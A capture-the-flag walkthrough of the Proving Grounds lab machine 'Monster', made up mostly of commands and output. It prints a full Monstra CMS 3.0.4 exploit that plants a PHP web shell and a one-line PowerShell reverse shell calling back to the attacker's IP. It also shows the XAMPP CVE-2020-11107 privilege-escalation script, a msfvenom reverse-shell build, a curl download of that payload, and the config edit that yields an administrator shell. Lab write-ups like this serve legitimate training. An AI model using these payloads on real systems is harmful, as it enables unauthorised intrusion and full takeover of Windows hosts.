Monster

Enumeration:

Port Scanning:

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ sudo nmap -sCV -p- --min-rate 4000 -oA nmap/services -vv 192.168.203.180
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-14 06:19 EST
Nmap scan report for 192.168.203.180
Host is up, received reset ttl 125 (0.22s latency).
Scanned at 2025-11-14 06:19:11 EST for 201s
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE       REASON          VERSION
80/tcp    open  http          syn-ack ttl 125 Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
|_http-title: Mike Wazowski
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
135/tcp   open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 125 Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      syn-ack ttl 125 Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)
|_http-title: Mike Wazowski
| tls-alpn: 
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
| http-methods: 
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2009-11-10T23:48:47
| Not valid after:  2019-11-08T23:48:47
| MD5:   a0a4:4cc9:9e84:b26f:9e63:9f9e:d229:dee0
| SHA-1: b023:8c54:7a90:5bfa:119c:4e8b:acca:eacf:3649:1ff6
| -----BEGIN CERTIFICATE-----
| MIIBnzCCAQgCCQC1x1LJh4G1AzANBgkqhkiG9w0BAQUFADAUMRIwEAYDVQQDEwls
<snipped>
| vVNbLkKxbK2XwUvu0RxoLdBMC/89HqrZ0ppiONuQ+X2MtxE=
|_-----END CERTIFICATE-----
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10
445/tcp   open  microsoft-ds? syn-ack ttl 125
3389/tcp  open  ms-wbt-server syn-ack ttl 125 Microsoft Terminal Services
| ssl-cert: Subject: commonName=Mike-PC
| Issuer: commonName=Mike-PC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-11-13T11:16:21
| Not valid after:  2026-05-15T11:16:21
| MD5:   2132:ae6f:7770:d01b:8d43:c7c0:c547:a5f0
| SHA-1: a4ac:e492:b6de:29a8:28f4:88fa:73ab:ca45:749b:0a96
| -----BEGIN CERTIFICATE-----
| MIIC0jCCAbqgAwIBAgIQaCpzU0/blpNPapSrqYOY6DANBgkqhkiG9w0BAQsFADAS
<snipped>
| 5xNDA4/8
|_-----END CERTIFICATE-----
|_ssl-date: 2025-11-14T11:22:31+00:00; +1s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: MIKE-PC
|   NetBIOS_Domain_Name: MIKE-PC
|   NetBIOS_Computer_Name: MIKE-PC
|   DNS_Domain_Name: Mike-PC
|   DNS_Computer_Name: Mike-PC
|   Product_Version: 10.0.19041
|_  System_Time: 2025-11-14T11:22:15+00:00
5040/tcp  open  unknown       syn-ack ttl 125
7680/tcp  open  pando-pub?    syn-ack ttl 125
49664/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 125 Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

<snipped>

HTTP (80):

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ gobuster dir -u http://offsec.pg -w /usr/share/wordlists/dirb/common.txt -x php,html -t 40
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://offsec.pg
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 1042]
/.htpasswd            (Status: 403) [Size: 1042]
<snipped>
/assets               (Status: 301) [Size: 332] [--> http://offsec.pg/assets/]
/aux                  (Status: 403) [Size: 1042]
/aux.php              (Status: 403) [Size: 1042]
/aux.html             (Status: 403) [Size: 1042]
/blog                 (Status: 301) [Size: 330] [--> http://offsec.pg/blog/]
/Blog                 (Status: 301) [Size: 330] [--> http://offsec.pg/Blog/]
/cgi-bin/.html        (Status: 403) [Size: 1042]
<snipped>
Progress: 13839 / 13839 (100.00%)
===============================================================
Finished
===============================================================

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
<snipped>

192.168.203.180 monster.pg

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ searchsploit Monstra 3.0.4                

------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                            |  Path
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Monstra 3.0.4 - Stored Cross-Site Scripting (XSS)                                                                                         | php/webapps/51519.txt
Monstra CMS 3.0.4 - (Authenticated) Arbitrary File Upload / Remote Code Execution                                                         | php/webapps/43348.txt
Monstra CMS 3.0.4 - Arbitrary Folder Deletion                                                                                             | php/webapps/44512.txt
Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload                                                                                   | php/webapps/48479.txt
Monstra cms 3.0.4 - Persitent Cross-Site Scripting                                                                                        | php/webapps/44502.txt
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated)                                                                                 | php/webapps/49949.py
Monstra CMS 3.0.4 - Remote Code Execution (RCE)                                                                                           | php/webapps/52038.py
Monstra CMS < 3.0.4 - Cross-Site Scripting (1)                                                                                            | php/webapps/44855.py
Monstra CMS < 3.0.4 - Cross-Site Scripting (2)                                                                                            | php/webapps/44646.txt
Monstra-Dev 3.0.4 - Cross-Site Request Forgery (Account Hijacking)                                                                        | php/webapps/45164.txt
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ searchsploit -m php/webapps/52038.py
  Exploit: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/52038
     Path: /usr/share/exploitdb/exploits/php/webapps/52038.py
    Codes: N/A
 Verified: False
File Type: HTML document, Unicode text, UTF-8 text
Copied to: /home/kali/Desktop/CTF/Machines/OffsecPG/Practice/Monster/52038.py

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ cat 52038.py 
# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
# Date: 05.05.2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: MacOS

import requests
import random
import string
import time
import re
import sys

if len(sys.argv) < 4:
print("Usage: python3 script.py <url> <username> <password>")
sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

session = requests.Session()

login_url = f'{base_url}/admin/index.php?id=dashboard'
login_data = {
'login': username,
'password': password,
'login_submit': 'Log+In'
}

filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=
5))

print("Logging in...")
response = session.post(login_url, data=login_data)

if 'Dashboard' in response.text:
print("Login successful")
else:
print("Login failed")
exit()

time.sleep(3)

edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'
response = session.get(edit_url) # CSRF token bulmak için edit sayfasına
erişim

token_search = re.search(r'input type="hidden" id="csrf" name="csrf" value="
(.*?)"', response.text)
if token_search:
token = token_search.group(1)
else:
print("CSRF token could not be found.")
exit()

content = '''
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
'''

edit_data = {
'csrf': token,
'name': filename,
'content': content,
'add_file': 'Save'
}

print("Preparing shell...")
response = session.post(edit_url, data=edit_data)
time.sleep(3)

if response.status_code == 200:
print(f"Your shell is ready: {base_url}/public/themes/default/{filename}
.chunk.php")
else:
print("Failed to prepare shell.")

Exploitation:

# Exploit Title: Monstra CMS 3.0.4 - Remote Code Execution (RCE)
# Date: 05.05.2024
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://monstra.org/
# Software Link: https://monstra.org/monstra-3.0.4.zip
# Version: 3.0.4
# Tested on: MacOS

import requests
import random
import string
import time
import re
import sys

if len(sys.argv) < 4:
  print("Usage: python3 script.py <url> <username> <password>")
  sys.exit(1)

base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

session = requests.Session()

login_url = f'{base_url}/admin/index.php?id=dashboard'
login_data = {
'login': username,
'password': password,
'login_submit': 'Log+In'
}

filename = ''.join(random.choices(string.ascii_lowercase + string.digits, k=5))

print("Logging in...")
response = session.post(login_url, data=login_data)

if 'Dashboard' in response.text:
  print("Login successful")
else:
  print("Login failed")
  exit()

time.sleep(3)

edit_url = f'{base_url}/admin/index.php?id=themes&action=add_chunk'
response = session.get(edit_url) # CSRF token bulmak için edit sayfasına erişim

token_search = re.search(r'<input type="hidden" id="csrf" name="csrf" value="(.*?)"', response.text)
if token_search:
  token = token_search.group(1)
else:
  print("CSRF token could not be found.")
  exit()

content = '''
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
'''

edit_data = {
'csrf': token,
'name': filename,
'content': content,
'add_file': 'Save'
}

print("Preparing shell...")
response = session.post(edit_url, data=edit_data)
time.sleep(3)

if response.status_code == 200:
  print(f"Your shell is ready: {base_url}/public/themes/default/{filename}.chunk.php")
else:
  print("Failed to prepare shell.")

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ python3 52038.py
Usage: python3 script.py <url> <username> <password>

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ python3 52038.py 'http://monster.pg/blog/admin/index.php?id=dashboard' admin wazowski
Logging in...
Login successful
CSRF token could not be found.

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ cat shell.ps1                                                     
$client = New-Object System.Net.Sockets.TCPClient('192.168.45.195',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.203.180 - - [14/Nov/2025 07:10:03] "GET /shell.ps1 HTTP/1.1" 200 -

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.203.180] 50299

PS C:\xampp\htdocs\blog\public\themes\default>

Post-Exploitation:

PS C:\> Get-Package                                                                                                                                                         
                                                                                                                                                                            
Name                           Version          Source                           ProviderName                                                                               
----                           -------          ------                           ------------                           
XAMPP                          7.3.10-1                                          Programs                               
Microsoft Edge                 100.0.1185.44                                     Programs                               
Microsoft Edge Update          1.3.157.61                                        Programs                               
Microsoft Visual C++ 2015-2... 14.24.28127.4                                     Programs                               
Microsoft Visual C++ 2015-2... 14.24.28127.4                                     Programs                               
Microsoft Update Health Tools  3.67.0.0                                          msi                                    
Microsoft Visual C++ 2019 X... 14.24.28127                                       msi                                    
Microsoft Visual C++ 2019 X... 14.24.28127                                       msi                                    
VMware Tools                   11.1.1.16303738  C:\Program Files\VMware\VMwar... msi                                                                                        
Microsoft Visual C++ 2019 X... 14.24.28127                                       msi                                                                                        
Update for Windows 10 for x... 4.91.0.0                                          msi                                                                                        
Microsoft Visual C++ 2019 X... 14.24.28127                                       msi                                                                                        
2022-04 Update for Windows ...                                                   msu                                                                                        
2022-04 Cumulative Update f...                                                   msu

PS C:\> dir C:\xampp


    Directory: C:\xampp


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
<snipped>
-a----         2/21/2022  10:43 PM            256 mysql_stop.bat                                                        
-a----         3/13/2017   4:04 AM            824 passwords.txt                                                         
-a----         2/21/2022  10:43 PM            792 properties.ini                                                        
-a----        10/23/2019   4:21 AM           7497 readme_de.txt                                                         
-a----        10/23/2019   4:21 AM           7367 readme_en.txt                                                         
-a----         3/30/2013   5:29 AM          60928 service.exe                                                           
-a----         3/30/2013   5:29 AM           1255 setup_xampp.bat
<snipped>

PS C:\xampp> cat properties.ini
[General]
installdir=C:\xampp
base_stack_name=XAMPP
base_stack_key=
base_stack_version=7.3.10-1
base_stack_platform=windows-x64
[Apache]
apache_server_port=80
apache_server_ssl_port=443
apache_root_directory=/xampp/apache
apache_htdocs_directory=C:\xampp/htdocs
apache_domainname=127.0.0.1
apache_configuration_directory=C:\xampp/apache/conf
apache_unique_service_name=
[MySQL]
mysql_port=3306
mysql_host=localhost
mysql_root_directory=C:\xampp\mysql
mysql_binary_directory=C:\xampp\mysql\bin
mysql_data_directory=C:\xampp\mysql\data
mysql_configuration_directory=C:\xampp/mysql/bin
mysql_arguments=-u root -P 3306
mysql_unique_service_name=
[PHP]
php_binary_directory=C:\xampp\php
php_configuration_directory=C:\xampp\php
php_extensions_directory=C:\xampp\php\ext

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ searchsploit xampp 7  
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                            |  Path
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
XAMPP - 'Phonebook.php' Multiple Remote HTML Injection Vulnerabilities                                                                    | multiple/remote/25391.txt
XAMPP - Insecure Default Password Disclosure                                                                                              | multiple/dos/25393.txt
XAMPP - WebDAV PHP Upload (Metasploit)                                                                                                    | windows/remote/18367.rb
XAMPP 1.6.8 - Cross-Site Request Forgery (Change Administrative Password)                                                                 | windows/remote/7384.txt
XAMPP 1.6.x - 'showcode.php' Local File Inclusion                                                                                         | multiple/webapps/33578.txt
XAMPP 1.6.x - Multiple Cross-Site Scripting Vulnerabilities                                                                               | multiple/remote/33577.txt
XAMPP 1.7.2 - Change Administrative Password                                                                                              | php/webapps/10391.txt
XAMPP 1.7.3 - Multiple Vulnerabilities                                                                                                    | php/webapps/15370.txt
XAMPP 1.7.4 - Cross-Site Scripting                                                                                                        | windows/remote/36258.txt
XAMPP 1.7.7 - 'PHP_SELF' Multiple Cross-Site Scripting Vulnerabilities                                                                    | windows/remote/36291.txt
XAMPP 1.8.1 - 'lang.php?WriteIntoLocalDisk method' Local Write Access                                                                     | php/webapps/28654.txt
XAMPP 3.2.1 & phpMyAdmin 4.1.6 - Multiple Vulnerabilities                                                                                 | php/webapps/32721.txt
XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting                                                                             | php/webapps/46424.html
XAMPP 5.6.8 - SQL Injection / Persistent Cross-Site Scripting                                                                             | php/webapps/46424.html
XAMPP 7.4.3 - Local Privilege Escalation                                                                                                  | windows/local/50337.ps1
XAMPP 8.2.4 - Unquoted Path                                                                                                               | windows/local/51585.txt
XAMPP Control Panel 3.2.2 - Denial of Service (PoC)                                                                                       | windows_x86/dos/45419.py
XAMPP Control Panel 3.2.2 - Denial of Service (PoC)                                                                                       | windows_x86/dos/45419.py
XAMPP for Windows 1.6.0a - 'mssql_connect()' Remote Buffer Overflow                                                                       | windows/remote/3738.php
XAMPP for Windows 1.6.3a - Local Privilege Escalation                                                                                     | windows/local/4325.php
XAMPP for Windows 1.6.8 - 'cds.php' SQL Injection                                                                                         | windows/remote/32457.txt
XAMPP for Windows 1.6.8 - 'Phonebook.php' SQL Injection                                                                                   | windows/remote/32460.txt
XAMPP for Windows 1.7.7 - Multiple Cross-Site Scripting / SQL Injections                                                                  | windows/remote/37396.txt
XAMPP Linux 1.6 - 'iart.php?text' Cross-Site Scripting                                                                                    | linux/remote/32166.txt
XAMPP Linux 1.6 - 'ming.php?text' Cross-Site Scripting                                                                                    | linux/remote/32165.txt
------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ searchsploit -m windows/local/50337.ps1
  Exploit: XAMPP 7.4.3 - Local Privilege Escalation
      URL: https://www.exploit-db.com/exploits/50337
     Path: /usr/share/exploitdb/exploits/windows/local/50337.ps1
    Codes: CVE-2020-11107
 Verified: False
File Type: ASCII text
Copied to: /home/kali/Desktop/CTF/Machines/OffsecPG/Practice/Monster/50337.ps1

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ cat 50337.ps1 
# Exploit Title: XAMPP 7.4.3 - Local Privilege Escalation
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Original Author: Maximilian Barz (@S1lkys)
# Date: 27/09/2021
# Vendor Homepage: https://www.apachefriends.org
# Version: XAMPP < 7.2.29, 7.3.x < 7.3.16 & 7.4.x < 7.4.4
# Tested on: Windows 10 + XAMPP 7.3.10
# References: https://github.com/S1lkys/CVE-2020-11107

$file = "C:\xampp\xampp-control.ini"
$find = ((Get-Content $file)[2] -Split "=")[1]
# Insert your payload path here
$replace = "C:\temp\msf.exe"
(Get-Content $file) -replace $find, $replace | Set-Content $file

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.195 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ rlwrap nc -nlvp 443              
listening on [any] 443 ...

PS C:\Windows\Tasks> curl http://192.168.45.195/shell.exe -o shell.exe
PS C:\Windows\Tasks> dir


    Directory: C:\Windows\Tasks


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----        11/14/2025   5:31 AM           7168 shell.exe
-a----        11/14/2025   4:11 AM       10171904 winPEASx86.exe


PS C:\Windows\Tasks> $file = "C:\xampp\xampp-control.ini"
PS C:\Windows\Tasks> cat $file                                                                                                                                              
[Common]                                                                                                                                                                    
Edition=                                                                                                                                                                    
Editor=notepad.exe                                                                                                                                                          
Browser=                                                                                                                                                                    
Debug=0                                                                                                                                                                     
Debuglevel=0                                                                                                                                                                
TomcatVisible=1                                                                                                                                                             
Language=en                                                                                                                                                                 
Minimized=1                                                                                                                                                                 
                                                                                                                                                                            
[EnableModules]
<snipped>
PS C:\Windows\Tasks> $find = ((Get-Content $file)[2] -Split "=")[1]
PS C:\Windows\Tasks> $replace = "C:\Windows\Tasks\shell.exe"                           
PS C:\Windows\Tasks> (Get-Content $file) -replace $find, $replace | Set-Content $file
PS C:\Windows\Tasks> cat $file
[Common]
Edition=
Editor=C:\Windows\Tasks\shell.exe
Browser=
Debug=0
Debuglevel=0
TomcatVisible=1
Language=en
Minimized=1

[EnableModules]
<snipped>

PS C:\Windows\Tasks> Restart-Computer

┌──(kali㉿kali)-[~/…/Machines/OffsecPG/Practice/Monster]
└─$ rlwrap nc -nlvp 443              
listening on [any] 443 ...
connect to [192.168.45.195] from (UNKNOWN) [192.168.203.180] 49672
Microsoft Windows [Version 10.0.19044.1645]
(c) Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
mike-pc\administrator

C:\WINDOWS\system32>type \Users\Administrator\Desktop\proof.txt
96307101716ba22372b8883e9120dcb5

C:\WINDOWS\system32>type \Users\mike\Desktop\local.txt
950693d47fcf27747138d5f477e7fb78